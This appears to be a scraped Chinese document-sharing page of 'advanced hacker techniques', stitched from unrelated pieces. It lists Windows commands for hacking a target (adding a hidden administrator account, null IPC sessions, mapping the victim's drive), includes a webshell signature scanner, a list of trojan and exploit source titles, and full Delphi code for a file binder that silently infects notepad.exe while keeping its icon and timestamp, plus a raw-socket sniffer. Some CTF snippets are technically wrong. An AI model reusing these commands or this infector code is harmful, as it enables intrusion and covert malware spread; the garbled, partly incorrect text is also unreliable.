高级黑客技巧之源代码篇
- 格式:doc
- 大小:113.50 KB
- 文档页数:41
⿊客攻击常⽤CMD命令⼤全⿊客常⽤命令⼤全net user heibai lovechina /add 加⼀个heibai的⽤户密码为lovechinanet localgroup Administrators heibai /add 把他加⼊Administrator组net start telnet 开对⽅的TELNET服务net use z:\127.0.0.1c映射对⽅的C盘netuseip\ipc " " /user:" " 建⽴IPC空链接net use \\ip\ipc "密码" /user:"⽤户名" 建⽴IPC⾮空链接 net use h: \\ip\c "密码" /user:"⽤户名" 直接登陆后映射对⽅C:到本地为H:net use h: \\ip\c登陆后映射对⽅C:到本地为H: net use \\ip\ipc /del 删除IPC链接net use h: /del 删除映射对⽅到本地的为H:的映射net user ⽤户名 密码 /add 建⽴⽤户net user 查看有哪些⽤户net user 帐户名查看帐户的属性net user guest /active:yes 将Guest⽤户激活net user guest lovechina 把guest的密码改为lovechinanet user ⽤户名 /delete 删掉⽤户net user guest/time:m-f,08:00-17:00 表⽰guest⽤户登录时间为周⼀⾄周五的net user guest/time:m,4am-5pm;t,1pm-3pm;w-f,8:00-17:00 表⽰guest⽤户登录时间为周⼀4:00/17:00,周⼆13:00/15:00,周三⾄周五8:00/17:00.net user guest/time:all表⽰没有时间限制.net user guest/time 表⽰guest⽤户永远不能登录. 但是只能限制登陆时间,不是上⽹时间net time \\127.0.0.1 得到对⽅的时间,get c:\index.htm d:\ 上传的⽂件是INDEX.HTM,它位于C:\下,传到对⽅D:\copy index.htm \\127.0.0.1\c\index.htm 本地C盘下的index.htm复制到127.0.0.1的C盘 net localgroup administrators ⽤户名 /add 把“⽤户”添加到管理员中使其具有管理员权限,注意:administrator后加s⽤复数 net start 查看开启了哪些服务 net start 服务名 开启服务;(如:net start telnet, net start schedule) net stop 服务名停⽌某服务 net time \\⽬标ip 查看对⽅时间 net time \\⽬标ip /set 设置本地计算机时间与“⽬标IP”主机的时间同步,加参数/yes可取消确认信息 net view 查看本地局域⽹内开启了哪些共享 net view \\ip 查看对⽅局域⽹内开启了哪些共享net config 显⽰系统⽹络设置 net logoff 断开连接的共享 net pause 服务名暂停某服务 net send ip "⽂本信息" 向对⽅发信息 net ver 局域⽹内正在使⽤的⽹络连接类型和信息 net share 查看本地开启的共享 net share ipc开启ipc共享 net share ipc /del 删除ipc共享 net share c /del 删除C:共享net user guest 12345 ⽤guest⽤户登陆后⽤将密码改为12345net password 密码更改系统登陆密码netstat -a 查看开启了哪些端⼝,常⽤netstat -annetstat -n 查看端⼝的⽹络连接情况,常⽤netstat -annetstat -v 查看正在进⾏的⼯作netstat -p 协议名例:netstat -p tcq/ip 查看某协议使⽤情况(查看tcp/ip协议使⽤情况)netstat -s 查看正在使⽤的所有协议使⽤情况nbtsta* -* ** 对⽅136到139其中⼀个端⼝开了的话,就可查看对⽅最近登陆的⽤户名(03前的为⽤户名)-注意:参数-A要⼤写tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”⽤于设置超时间隔。
黑客装逼代码是指一些黑客利用技术手段来展示自己的能力和魅力,以获得尊重和赞赏。
这些代码通常是一些复杂的程序或脚本,用来显示黑客对计算机系统的控制能力。
这些代码通常会展示出黑客能够远程控制其他计算机、窃取数据、篡改系统等能力。
一种常见的黑客装逼代码是远程控制软件,通过这些软件,黑客可以远程控制其他计算机,执行各种操作。
这些软件通常会隐藏在目标计算机的系统中,使其难以被发现和清除。
黑客可以利用远程控制软件来展示自己可以随时随地控制其他计算机的能力,从而获得赞赏和尊重。
另一种常见的黑客装逼代码是数据窃取程序,通过这些程序,黑客可以从目标计算机中窃取隐私数据,包括个人信息、银行账号、密码等。
这些程序通常会将窃取的数据发送到黑客控制的服务器上,使其难以被追踪。
黑客可以利用窃取的数据来展示自己可以轻易获取他人隐私信息的能力,从而获得尊重和崇拜。
除了这些常见的黑客装逼代码外,还有一些其他类型的代码,如篡改系统程序、病毒程序等,都可以被黑客用来展示自己的技术能力和威力。
然而,这些行为违反了计算机系统安全和个人隐私,是不被法律允许的。
因此,黑客装逼代码不仅是不道德的行为,还可能使黑客陷入法律风险之中。
ctf高级题源码在CTF(Capture The Flag)竞赛中,高级题目通常涉及更深入的技术和知识领域。
以下是一些常见的CTF高级题目的源码,涵盖了代码审计、逆向工程、加密解密、漏洞利用等多个方面。
1.代码审计# 示例:检测整数溢出漏洞def vulnerable_function(num):result = num * 256return result2.逆向工程// 示例:逆向工程 C 语言程序int main() {int num = 0;scanf("%d", &num);if (num == 123) {printf("Correct!");} else {printf("Wrong!");}return 0;}3.加密解密# 示例:RSA加密解密import rsapublic_key, private_key = rsa.newkeys(1024)encrypted_text = rsa.encrypt("Hello, World!", public_key)decrypted_text = rsa.decrypt(encrypted_text, private_key) 4.漏洞利用// 示例:堆溢出漏洞利用void vulnerable_function() {char buffer[128];gets(buffer); // 堆溢出漏洞,输入超过128个字符将覆盖堆指针printf("You entered: %s", buffer);}5.隐写术# 示例:将信息隐藏在图片中(LSB隐写术)from PIL import Image, ImageDraw, ImageFontimg = Image.open('image.png')draw = ImageDraw.Draw(img)font = ImageFont.truetype('arial.ttf', 15)text = 'secret message'draw.text((10, 10), text, font=font, fill=(0, 0, 0)) # 将文本信息隐藏在图片的特定位置,通过改变像素的最低有效位(LSB)实现隐写。
黑客代码vis程序源代码黑客代码VIS程序是一个用于可视化黑客攻击和网络安全漏洞的程序,它可以帮助用户更好地理解黑客行为和网络安全问题。
以下是该程序的详细源代码。
## 导入必要的库```pythonimport matplotlib.pyplot as pltimport networkx as nx```## 创建图形对象```pythonG = nx.Graph()```## 添加节点```pythonG.add_node("黑客")G.add_node("目标系统")G.add_node("中间服务器")G.add_node("数据库服务器")```## 添加边```pythonG.add_edge("黑客", "目标系统", weight=5)G.add_edge("黑客", "中间服务器", weight=3)G.add_edge("中间服务器", "目标系统", weight=2)G.add_edge("中间服务器", "数据库服务器", weight=4)```## 绘制图形```pythonpos = nx.spring_layout(G)nx.draw_networkx_nodes(G, pos, node_color='lightblue',node_size=500)nx.draw_networkx_edges(G, pos, width=1)nx.draw_networkx_labels(G, pos, font_size=12,font_family='sans-serif')plt.axis('off')plt.show()```以上是一个简单的黑客代码VIS程序源代码,它使用了`matplotlib`和`networkx`库来实现图形可视化。
黑客资源之网站程序安全分析器VB源码本程序通杀:ASP、ASPX、PHP、CGI、JSP、VBS等脚本WebShell,并能查出99%加密过的脚本WebShell。
后来发现,精度越高误杀越高,基本做到宁误扫三千不放过一马!其实是利用串判断,原理很简单。
有很多人向偶要代码,想到人家ScanWebshell都贡献出来了,偶要是不贡献出来就不厚道咯。
以下是全部代码。
Private Declare Function GetWindowLong Lib “user32”Alias “GetWindowLongA” (ByVal hwnd As Long, ByVal nIndex As Long) As LongPrivate Declare Function SetWindowLong Lib “user32” Alias “SetWindowLongA” (ByVal hwnd AsLong, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongPrivate Declare Funct ion SetLayeredWindowAttributes Lib “user32” (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As LongPrivate Const WS_EX_LAYERED = &H80000Private Const GWL_EXSTYLE = (-20)Private Const LWA_ALPHA = &H2Private Const LWA_COLORKEY = &H1Private Declare Function ReleaseCapture Lib “user32” () As LongPrivate Declare Function SendMessage Lib “user32” Alias “SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As LongPrivate Const HTCAPTION = 2Private Const WM_NCLBUTTONDOWN = &HA1Private Declare Function timeGetTime Lib “winmm.dll” () As LongPrivate Declare Sub InitCommonControls Lib “comctl32.dll” ()Dim SuJu1 As LongDim Faxian As StringDim FaJs As StringPrivate Declare Functi on FindFirstFile Lib “kernel32” Alias “FindFirstFileA” (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As LongPrivate Declare Function FindNextFile Lib “kernel32” Alias “FindNextFileA” (ByValhFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As LongPrivate Declare Function GetFileAttributes Lib “kernel32” Alias “GetFileAttributesA”(ByVal lpFileName As String) As LongPrivate Declare Function FindClose Lib “kernel32” (ByVal hFindFile As Long) As LongConst MAX_PATH = 260Const MAXDWORD = &HFFFFConst INVALID_HANDLE_V ALUE = -1Const FILE_ATTRIBUTE_ARCHIVE = &H20Const FILE_ATTRIBUTE_DIRECTORY = &H10Const FILE_ATTRIBUTE_HIDDEN = &H2Const FILE_ATTRIBUTE_NORMAL = &H80Const FILE_ATTRIBUTE_READONL Y = &H1Const FILE_ATTRIBUTE_SYSTEM = &H4Const FILE_ATTRIBUTE_TEMPORARY = &H100Private Declare Function SHBrowseForFolder Lib “shell32” (lpbi As BrowseInfo) As Long Private Declare Function SHGetPathFromIDList Lib “shell32.dll”Alias “SHGetPathFromIDListA” (ByVal pIdl As Long, ByVal pszPath A s String) As Long Private Type BrowseInfohwndOwner As LongpiDLroot As LongpszdisplayName As Stringlpsztitle As StringulFlags As Longlpfncallback As LonglParam As LongiImage As LongEnd TypePrivate Type FILETIMEdwLowDateTime As LongdwHighDateTime As LongEnd TypePrivate Type WIN32_FIND_DATAdwFileAttributes As LongftCreationTime As FILETIMEftLastAccessTime As FILETIMEftLastWriteTime As FILETIMEnFileSizeHigh As LongnFileSizeLow As LongdwReserved0 As LongdwReserved1 As LongcFileName As String * MAX_PA THcAlternate As String * 14End TypePrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) ReleaseCaptureSendMessage hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&End SubPrivate Sub Form_Initialize()InitCommonControlsDim rtn As Longrtn = GetWindowLong(hwnd, GWL_EXSTYLE)rtn = rtn Or WS_EX_LAYEREDSetWindowLong hwnd, GWL_EXSTYLE, rtnSetLayeredWindowAttributes hwnd, &HFF00FF, 0, LWA_COLORKEYEnd SubSub YS()Dim Savetime As DoubleSavetime = timeGetTimeWhile timeGetTime 0) ThenOriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)End IfStripNulls = OriginalStrEnd FunctionFunction FindFilesAPI(path As String, SearchStr As String)Dim FileName As StringDim DirName As StringDim dirNames() As StringDim nDir As IntegerDim i As IntegerDim hSearch As LongDim WFD As WIN32_FIND_DATADim Cont As IntegerIf Right(path, 1) “\” Then path = path & “\”nDir = 0ReDim dirNames(nDir)Cont = TruehSearch = FindFirstFile(path & “*.*”, WFD)If hSearch INV ALID_HANDLE_V ALUE ThenDo While ContDirName = StripNulls(WFD.cFileName)If (DirName “.”) And (DirName “..”) ThenIf GetFileAttributes(path & DirName) And FILE_ATTRIBUTE_DIRECTORY ThendirNames(nDir) = DirNamenDir = nDir + 1ReDim Preserve dirNames(nDir)End IfEnd IfCont = FindNextFile(hSearch, WFD)DoEventsLoopCont = FindClose(hSearch)End IfhSearch = FindFirstFile(path & SearchStr, WFD)Cont = TrueIf hSearch INV ALID_HANDLE_V ALUE ThenWhile ContFileName = StripNulls(WFD.cFileName)If (FileName “.”) And (FileName “..”) ThenSuJu1 = SuJu1 + 1Dim strFileContent As StringDim strTemp As StringIf Dir(path & FileName) ““ ThenOpen path & FileName For Input As #1While Not EOF(1)Line Input #1, strTempIf InStr(1, strTemp, “WScr” &DoMyBest & “ipt.Shell”, vbTextCompare) Or InStr(1, strTemp, “clsid:72C24DD5-D70A” & DoMyBest & “-438B-8A42-98424B88AFB8”, vbTextCompare)ThenList1.AddItem “发现“ & FileName & “ 包含危险组件! “ & “ 安全评估: 危险度极高!”List1.AddItem “描述:一般被ASP木马利用来获取CMD SHELL 序列:1”Faxian = “发现危险”End IfIf InStr(1, strTemp, “She” & DoMyBest & “ll.Application”, vbTextCompare) Or InStr (1, strTemp, “clsid:13709620-C27” & DoMyBest & “9-11CE-A49E-444553540000”, vbTextCompare)ThenLi st1.AddItem “发现“ & FileName & “ 包含危险组件! “ & “ 安全评估: 危险度极高!”List1.AddItem “描述:一般被ASP木马利用来获取系统信息序列:2”Faxian = “发现危险”End IfIf InStr(1, strTemp, ““, vbTextCompare) Or InStr(1, strTemp, “#@”, vbTextCompare) ThenList1.AddItem “发现“ & FileName & “ 文件被加密! “ & “ 安全评估: 危险度极高!”List1.AddItem “描述:此文件被加过密!一般安全的程序是不可能加密的!极有可能是木马.图片格式文件可能会误杀请详细检查序列:3”Faxian = “发现危险”End IfIf InStr(1, strTemp, “clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”, vbTextCompare)Or InStr(1, strTemp, “clsid:0D43FE01-F093-11CF-8940-00A0C9054228”, vbTextCompare) Then List1.AddItem “发现“ & FileName & “ 包含危险组件! “ & “ 安全评估: 危险度高!”List1.AddItem “描述:此文件包含文件读写指令.如非上传组件.请删除! 序列:4”Faxi an = “发现危险”End IfIf InStr(1, strTemp, “上传组件”, vbTextCompare) Or InStr(1, strTemp, “Upload”, vbTextCompare) ThenList1.AddItem “发现“ & FileName & “ 包含危险特征! “ & “ 安全评估: 危险度中!(未知)”List1.AddItem “描述:此文件包含上传组件或上传文件的专用串.请检查是否合法. 序列:5”Faxian = “发现危险”End IfIf InStr(1, strTemp, “FSO”, vbTextCompare) Or InStr(1, strTemp, “。
简单的黑客装逼代码标题:简单的黑客装逼代码引言概述:在当今信息化社会,黑客文化逐渐兴起,许多人对黑客技术产生了浓厚的兴趣。
虽然黑客行为本质上是非法的,但是了解一些简单的黑客装逼代码可以帮助我们更好地保护自己的网络安全,同时也能增加对网络安全的认识和理解。
正文内容:1. 网络扫描1.1 端口扫描:通过扫描目标主机的开放端口,获取目标主机的网络服务信息。
1.2 路由追踪:通过追踪数据包的传输路径,了解网络中的节点和路径信息。
2. 暴力破解2.1 密码破解:通过尝试不同的密码组合,破解目标账户的密码。
2.2 弱口令攻击:利用常见的弱口令,对目标账户进行暴力破解。
3. SQL注入3.1 基于错误的注入:通过构造恶意的SQL语句,利用目标网站的错误信息获取敏感数据。
3.2 基于时间的盲注:通过构造延时的SQL语句,利用目标网站的响应时间差异获取敏感数据。
4. XSS攻击4.1 反射型XSS:通过构造恶意的URL,将脚本注入到目标网站的响应中,实现对用户的攻击。
4.2 存储型XSS:将恶意脚本存储到目标网站的数据库中,当其他用户访问时执行脚本。
5. 社会工程学5.1 钓鱼攻击:通过伪造合法的网站或邮件,诱导目标用户输入敏感信息。
5.2 垃圾邮件攻击:通过发送大量垃圾邮件,影响目标用户的正常工作。
总结:通过了解简单的黑客装逼代码,我们可以更好地认识到网络安全的重要性。
然而,我们必须明确,这些技术仅供学习和研究之用,不得用于非法活动。
同时,我们也应该加强自身的网络安全意识,采取相应的措施保护个人信息和网络安全。
只有在安全的网络环境下,我们才能更好地享受互联网带来的便利和乐趣。
破解网源代码加密方法破解网站源代码的加密方法是非法而且道德上也是不可取的,因为这样做涉及到侵犯他人的权利和隐私。
此外,破解网站代码可能还会导致网站的安全漏洞,给用户带来损失。
因此,我将不会提供关于破解的任何方法。
然而,我可以告诉你如何保护你自己的代码和网站安全,以防止他人试图破解你的源代码。
1.使用安全的密码:确保你的网站管理后台和数据库密码是强密码并定期更改。
强密码应包含大小写字母,数字和特殊字符,长度至少为8个字符。
2.防止SQL注入攻击:使用预编译语句或ORM框架来处理用户输入,避免直接拼接SQL语句,以防止恶意用户通过输入来执行恶意的SQL代码。
4.防止跨站脚本攻击(XSS):对用户输入的数据进行有效的转义和过滤,以防止恶意脚本被执行。
5.定期更新和升级软件:保持操作系统,服务器软件和CMS等应用程序的最新版本,以修复已知的漏洞。
6.使用SSL证书保护数据传输:在网站上启用SSL加密,以确保用户的敏感数据在传输过程中被加密。
7.使用防火墙和入侵检测系统:部署网络防火墙和入侵检测系统来过滤恶意流量和监控异常行为。
8.加密存储的密码和敏感信息:使用密码哈希函数对密码进行单向加密,并应用适当的加密算法来加密存储的用户数据。
9.加强访问控制:只给予必要的人和角色适当的权限,禁用默认的管理员账户和强制实施双因素认证。
10.定期备份:定期备份你的网站和数据库,并将备份文件存储在安全的地方,以防止数据丢失或被恶意篡改。
总之,更好的方法是保护自己的网站和源代码,而不是试图破解他人的代码。
只有通过合法手段和道德的方法来确保你自己的网站和代码的安全性。
黑客装备代码1 C#版 SQL TOOL
2C语言下的端口扫描代码
4一个内核级的Shell工具源代码
5 ActiveX启动方式代码
6 CCLdII源代码
7CHM生成器源代码
8 Delphi编的木马程序
9 Delphi实现TAPI监控
10 Delphi演示文件打包与释放代码
11 Delphi制作API钩子截获API
12 Delphi自制小小浏览器源代码
13DLL插入型传奇2木马源代码
14Domain2.2源代码
15domain3.2源程序
16HTTP文件共享服务器源码
17L-BLOG漏洞利用程序源代码
18 Logo1_.exe病毒专杀源码
19 NC源代码
20OfStar漏洞利用程序源代码
21PhpWind漏洞利用程序源代码
22QQ尾巴生成器(VC源码)
23.QQ尾巴源代码(Delphi源码)24TinyRAT源代码
25UO远程木马代码
26VB破解Access代码
27Way2.4远程控制完整代码
28阿东文件捆绑器源码
29暴风影音源码
30插入型传奇木马代码
31带模块显示进程管理工具源码32多线程写的端口扫描程序代码。
高级黑客技巧之源代码部分目录1、捆绑执行文件方法及源代码(2-6页)2、Win2k命令行下的Sniffer源代码(7-14页)3、SMTP协议原始命令码和工作原理(15-18页)4、Windows外壳扩展编程之添加右键菜单(19-30页)5、利用DELPHI编写WINDOWS外壳(31-37页)6、利用Hook技术实现键盘监控(38-40页)1、捆绑执行文件方法及源代码最新功能:与其它程序捆绑后,图标为其它程序的图标这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上%$#@*^ 功能...程序中几个数字的确定:1 在本程序编译后用Aspack.Exe压缩,大小为414722 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据位于从第40752字节开始共640字节,图标后还有81字节与其它程序捆绑的过程:本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部怎么找到图标的位置:将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制编辑软件载入,查找“99 99 99”字符串即可。
以后你可为程序加上其它合适的图标。
十六进制编辑软件:常用UltraEdit。
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:/download/hexedit.exe}program exe2;usesclasses,Tlhelp32,windows,graphics,ShellAPI,SysUtils;{$R *.RES}varlppe:TProcessEntry32;found:boolean;handle:THandle;ProcessStr,ExeName:string;WinDir:pchar;constMySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}procedure copy2(s:string);vars1,s2,IcoStream:TMemoryStream;File2:TFilestream;ch:array[0..1] of char;ss:string;filetime,fhandle:integer;l:integer;File2Icon:Ticon;begin{若文件s不存在}if FileExists(s)=False then exit;try{若文件不含图标,就不捆绑}File2Icon:=Ticon.Create;l:=extracticon(handle,pchar(s),0);if l=0 thenbeginFile2Icon.Free;exit;endelsebegin{提取被捆绑程序图标}File2Icon.Handle:=extracticon(handle,pchar(s),0);IcoStream:=TMemoryStream.Create;File2Icon.SaveToStream(IcoStream);File2Icon.Free;end;{判断文件s中有没有第2个程序头'MZ'。
若有,表示已经合并过} File2:=TFilestream.Create(s,fmopenread);if File2.Size>MySize thenbeginFile2.Position:=MySize;File2.Read(ch,2);ss:=copy(ch,1,2);if ss='MZ' thenbeginFile2.Free;exit;end;end;File2.Free;{将本文件与文件s合并本文件+s=s}s2:=TMemoryStream.Create;s2.loadfromfile(ExeName);s1:=TMemoryStream.Create;{加入本程序的前部40751字节第40752字节开始共640字节为图标数据!!以下数字40751,81要根据实际情况修改!! }s1.copyfrom(s2,40751);{将图标换为被捆绑程序图标,图标大小为766} IcoStream.Position:=126;s1.CopyFrom(IcoStream,640); IcoStream.Free;s2.Position:=40751+640;{加入本程序的后部81字节}s1.CopyFrom(s2,81);s2.clear;s2.loadfromfile(s);s1.seek(s1.size,soFromBeginning);{加入被捆绑程序全部}s1.copyfrom(s2,s2.size);s2.free;{得到文件s的日期}fhandle:=FileOpen(s, fmOpenread); filetime:=filegetdate(fhandle);fileclose(fhandle);s1.SaveToFile(s);{恢复文件s的日期}fhandle:=FileOpen(s, fmOpenwrite); filesetdate(fhandle,filetime);fileclose(fhandle);s1.free;except end;end;procedure CreateFileAndRun;vars1,s2:TMemoryStream;TempDir:pchar;cmdstr:string;a:integer;Begins1:=TMemoryStream.Create;s1.loadfromfile(ExeName);if s1.Size=MySize thens1.Free;exit;end;s1.seek(MySize,soFromBeginning);s2:=TMemoryStream.Create;s2.copyfrom(s1,s1.Size-MySize);GetMem(TempDir,255);GetTempPath(255,TempDir);try{把文件释放到临时目录。
如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,如c:\windows(or winnt)\d...(☆这是个什么目录?你去研究研究吧!☆)}s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));except end;cmdstr:='';a:=1;while ParamStr(a)<>'' do begincmdstr:=cmdstr+ParamStr(a)+' ';inc(a);end;{运行真正的程序文件}winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW); freemem(TempDir);s2.free;s1.free;end;beginGetMem(WinDir,255);GetWindowsDirectory(WinDir,255);ExeName:=ParamStr(0);handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);found:=Process32First(handle,lppe);ProcessStr:='';while found dobeginProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}found:=Process32Next(handle,lppe);end;{如果notepad没运行,就与它捆在一起}if pos(WinDir+'\notepad.exe',ProcessStr)=0 thencopy2(WinDir+'\notepad.exe');end;{其它需要捆绑的文件if pos(...,ProcessStr)=0 thenbegincopy2(...);end;...}freemem(WinDir);{你想用这个程序干点其它的什么...}CreateFileAndRun;{释放文件并带参数运行} end.2、Win2k命令行下的Sniffer源代码//////////////////////////////////////////////////////////////////////////// //// IpDump For Win2K by Shotgun ////// // Released: [2001.4] //// Author: [Shotgun] //// Homepage: //// []//// [] //// ////////////////////////////////////////////////////////////////////////////#include <stdio.h>#include <string.h>#include <Winsock2.h>#include <mstcpip.h>#define STATUS_FAILED 0xFFFF //定义异常出错代码#define MAX_PACK_LEN65535 //接收的最大IP报文#define MAX_ADDR_LEN16 //点分十进制地址的最大长度#define MAX_PROTO_TEXT_LEN 16 //子协议名称(如"TCP")最大长度#define MAX_PROTO_NUM 12 //子协议数量#define MAX_HOSTNAME_LAN 255 //最大主机名长度#define CMD_PARAM_HELP truetypedef struct _iphdr{unsigned char h_lenver; //4位首部长度+4位IP版本号unsigned char tos; //8位服务类型TOSunsigned short total_len; //16位总长度(字节)unsigned short ident; //16位标识unsigned short frag_and_flags; //3位标志位unsigned char ttl; //8位生存时间TTLunsigned char proto; //8位协议(TCP, UDP 或其他)unsigned short checksum; //16位IP首部校验和unsigned int sourceIP; //32位源IP地址unsigned int destIP; //32位目的IP地址}IP_HEADER;typedef struct _tcphdr //定义TCP首部{USHORT th_sport; //16位源端口USHORT th_dport; //16位目的端口unsigned int th_seq; //32位序列号unsigned int th_ack; //32位确认号unsigned char th_lenres; //4位首部长度/6位保留字unsigned char th_flag; //6位标志位USHORT th_win; //16位窗口大小USHORT th_sum; //16位校验和USHORT th_urp; //16位紧急数据偏移量}TCP_HEADER;typedef struct _udphdr //定义UDP首部{unsigned short uh_sport;//16位源端口unsigned short uh_dport;//16位目的端口unsigned short uh_len; //16位长度unsigned short uh_sum; //16位校验和} UDP_HEADER;typedef struct _icmphdr //定义ICMP首部{BYTE i_type; //8位类型BYTE i_code; //8位代码USHORT i_cksum; //16位校验和USHORT i_id; //识别号(一般用进程号作为识别号)USHORT i_seq; //报文序列号ULONG timestamp; //时间戳}ICMP_HEADER;typedef struct _protomap //定义子协议映射表{int ProtoNum;char ProtoText[MAX_PROTO_TEXT_LEN];}PROTOMAP;PROTOMAP ProtoMap[MAX_PROTO_NUM]={ //为子协议映射表赋值{ IPPROTO_IP, "IP" },{ IPPROTO_ICMP , "ICMP" },{ IPPROTO_IGMP , "IGMP" },{ IPPROTO_GGP, "GGP " },{ IPPROTO_TCP, "TCP " },{ IPPROTO_PUP, "PUP " },{ IPPROTO_UDP, "UDP " },{ IPPROTO_IDP, "IDP " },{ IPPROTO_ND, "NP" },{ IPPROTO_RAW, "RAW " },{ IPPROTO_MAX, "MAX " },{ NULL , "" } };SOCKET SockRaw;char TcpFlag[6]={'F','S','R','P','A','U'}; //定义TCP标志位bool ParamTcp =false; // -t关注TCP 报文bool ParamUdp =false; // -u关注UDP 报文bool ParamIcmp =false; // -i关注ICMP报文bool ParamDecode=true; // -d对协议进行解码char *strFromIpFilter=NULL; // 源IP地址过滤char *strDestIpFilter=NULL; // 目的地址过滤int DecodeIpPack(char *,int);int DecodeTcpPack(char *);int DecodeUdpPack(char *);int DecodeIcmpPack(char *);void CheckSockError(int,char*);char * CheckProtocol(int);void usage(void);bool GetCmdLine(int, char **);void main(int argc, char ** argv){int iErrorCode;char RecvBuf[MAX_PACK_LEN] = {0};usage();if(GetCmdLine(argc, argv)==CMD_PARAM_HELP) exit(0); //初始化SOCKETWSADATA wsaData;iErrorCode = WSAStartup(MAKEWORD(2,1),&wsaData); CheckSockError(iErrorCode, "WSAStartup");SockRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP); CheckSockError(SockRaw, "socket");//获取本机IP地址char FAR name[MAX_HOSTNAME_LAN];iErrorCode = gethostname(name, MAX_HOSTNAME_LAN); CheckSockError(iErrorCode, "gethostname");struct hostent FAR * pHostent;pHostent = (struct hostent * )malloc(sizeof(struct hostent)); pHostent = gethostbyname(name);SOCKADDR_IN sa;sa.sin_family = AF_INET;sa.sin_port = htons(6000);memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); iErrorCode = bind(SockRaw, (PSOCKADDR)&sa, sizeof(sa));CheckSockError(iErrorCode, "bind");//设置SOCK_RAW为SIO_RCVALL,以便接收所有的IP包DWORD dwBufferLen[10] ;DWORD dwBufferInLen = 1 ;DWORD dwBytesReturned = 0 ;iErrorCode=WSAIoctl(SockRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );CheckSockError(iErrorCode, "Ioctl");//侦听IP报文while(1){memset(RecvBuf, 0, sizeof(RecvBuf));iErrorCode = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0);CheckSockError(iErrorCode, "recv");iErrorCode = DecodeIpPack(RecvBuf, iErrorCode);CheckSockError(iErrorCode, "Decode");}}//IP解包程序int DecodeIpPack(char *buf, int iBufSize){IP_HEADER *pIpheader;int iProtocol, iTTL;char szProtocol[MAX_PROTO_TEXT_LEN];char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];SOCKADDR_IN saSource, saDest;pIpheader = (IP_HEADER *)buf;//Check ProtoiProtocol = pIpheader->proto;strncpy(szProtocol, CheckProtocol(iProtocol), MAX_PROTO_TEXT_LEN);if((iProtocol==IPPROTO_TCP) && (!ParamTcp)) return true;if((iProtocol==IPPROTO_UDP) && (!ParamUdp)) return true;if((iProtocol==IPPROTO_ICMP) && (!ParamIcmp)) return true;//Check Source IPsaSource.sin_addr.s_addr = pIpheader->sourceIP;strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);if (strFromIpFilter)if (strcmp(strFromIpFilter,szSourceIP)) return true;//Check Dest IPsaDest.sin_addr.s_addr = pIpheader->destIP;strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN); if (strDestIpFilter)if (strcmp(strDestIpFilter,szDestIP)) return true;iTTL = pIpheader->ttl;//Outputprintf("%s ", szProtocol);printf("%s->%s ", szSourceIP, szDestIP);printf("bytes=%d TTL=%d ",iBufSize,iTTL);//Calculate IP Header Lengthint iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); //Decode Sub Protocol:TCP, UDP, ICMP, etcswitch(iProtocol){case IPPROTO_TCP :DecodeTcpPack(buf+iIphLen);break;case IPPROTO_UDP :DecodeUdpPack(buf+iIphLen);break;case IPPROTO_ICMP :DecodeIcmpPack(buf+iIphLen);break; default :break;}//printf("\n");return true;}//SOCK错误处理程序void CheckSockError(int iErrorCode, char *pErrorMsg){if(iErrorCode==SOCKET_ERROR){printf("%s Error:%d\n", pErrorMsg, GetLastError());closesocket(SockRaw);exit(0);}}//协议识别程序char * CheckProtocol(int iProtocol){for(int i=0; i<MAX_PROTO_NUM; i++)if(ProtoMap[i].ProtoNum==iProtocol)return ProtoMap[i].ProtoText;return "";}//TCP解包程序int DecodeTcpPack(char * TcpBuf){TCP_HEADER * pTcpHeader;int i;pTcpHeader = (TCP_HEADER * )TcpBuf;printf("Port:%d->%d ", ntohs(pTcpHeader->th_sport),ntohs(pTcpHeader->th_dport)); unsigned char FlagMask = 1;for( i=0; i<6; i++ ){if((pTcpHeader->th_flag) & FlagMask) printf("%c",TcpFlag[i]);else printf("-");FlagMask=FlagMask<<1;}printf("\n");return true;}//UDP解包程序int DecodeUdpPack(char * UdpBuf){UDP_HEADER *pUdpHeader;pUdpHeader = (UDP_HEADER * )UdpBuf;printf("Port:%d->%d ", ntohs(pUdpHeader->uh_sport), ntohs(pUdpHeader->uh_dport)); printf("Len=%d\n", ntohs(pUdpHeader->uh_len));return true;}//ICMP解包程序int DecodeIcmpPack(char * IcmpBuf){ICMP_HEADER *pIcmpHeader;pIcmpHeader = (ICMP_HEADER * )IcmpBuf;printf("Type:%d,%d ", pIcmpHeader->i_type,pIcmpHeader->i_code);printf("ID=%d SEQ=%d\n", pIcmpHeader->i_id, pIcmpHeader->i_seq);return true;}//命令行参数处理bool GetCmdLine(int argc, char ** argv){if (argc<2) return 